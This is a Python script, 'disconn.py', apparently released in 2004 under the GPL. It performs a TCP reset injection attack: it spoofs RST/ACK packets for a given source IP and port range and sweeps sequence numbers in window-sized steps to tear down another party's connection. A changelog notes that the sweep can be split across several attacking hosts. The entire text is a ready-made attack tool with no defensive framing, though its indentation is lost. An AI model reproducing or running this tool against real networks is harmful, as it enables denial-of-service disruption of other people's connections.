disconn.py

`#!/usr/bin/python  
#  
# Version: 1.1  
# Copyright 2004 r3d5un  
#  
# disconn.py is free software; you can redistribute it and/or modify  
# it under the terms of the GNU General Public License as published by  
# the Free Software Foundation; either version 2 of the License, or  
# (at your option) any later version.  
#  
# disconn.py is distributed in the hope that it will be useful,  
# but WITHOUT ANY WARRANTY; without even the implied warranty of  
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
# GNU General Public License for more details.  
#  
# You should have received a copy of the GNU General Public License  
# along with disconn.py; if not, write to the Free Software  
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA  
#  
# Version 1.1 changes:   
# -se option added (Sequence End). This allows the  
# user to specify an upper sequnece number, and thus  
# the distribution to more clients.  
#  
# i.e 4 Hosts 0-1000000000 1000000001-2000000000   
# 2000000001-3000000000 3000000001-4294967295  
#  
#  
#  
  
import btk  
import sys  
import string  
  
def cmdParser(args):  
pos = 1  
quiet = False  
seq = 0  
maxseqnum = 4294967295  
win = 8000  
running = True  
while running:  
running = False  
if args[pos] == "-s":  
try:  
seq = long(args[pos+1])  
pos = pos + 2  
running = True  
except:  
pos = pos + 1  
if args[pos] == "-se":  
try:  
maxseqnum = long(args[pos+1])  
pos = pos + 2  
running = True  
except:  
pos = pos +1  
elif args[pos] == "-w":  
try:  
win = long(args[pos+1])  
pos = pos + 2  
running = True  
except:  
pos = pos + 1  
  
elif args[pos] == "-q":  
quiet = True  
running = True  
pos = pos + 1  
  
dstip = args[pos]  
dstport = int(args[pos+1])  
srcip = args[pos+2]  
tmp = string.split(args[pos+3],":")  
try:  
srcport1 = int(tmp[0])  
srcport2 = int(tmp[1])  
except:  
srcport1 = srcport2 = int(tmp[0])  
  
return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet  
  
  
  
try:  
args = sys.argv  
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)  
  
if not quiet:  
print "Attacking " + dstip + " <--> " + srcip  
  
packet = btk.btk()  
packet.protocol(btk.TCP)  
packet.flags(btk.RST | btk.ACK)  
  
i = seqnum  
k = 0  
while i < maxseqnum:  
packet.options(seq=long(i))  
packet.options(ack=long(i))  
for p in range (srcport1, srcport2+1):  
packet.send(dstip,dstport,srcip,p)  
k=(k+1)%1000  
if k == 0:  
if not quiet:  
print "1000 Packets sent (seqnum="+str(i)+")"  
i = i + win  
except:  
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"   
  
`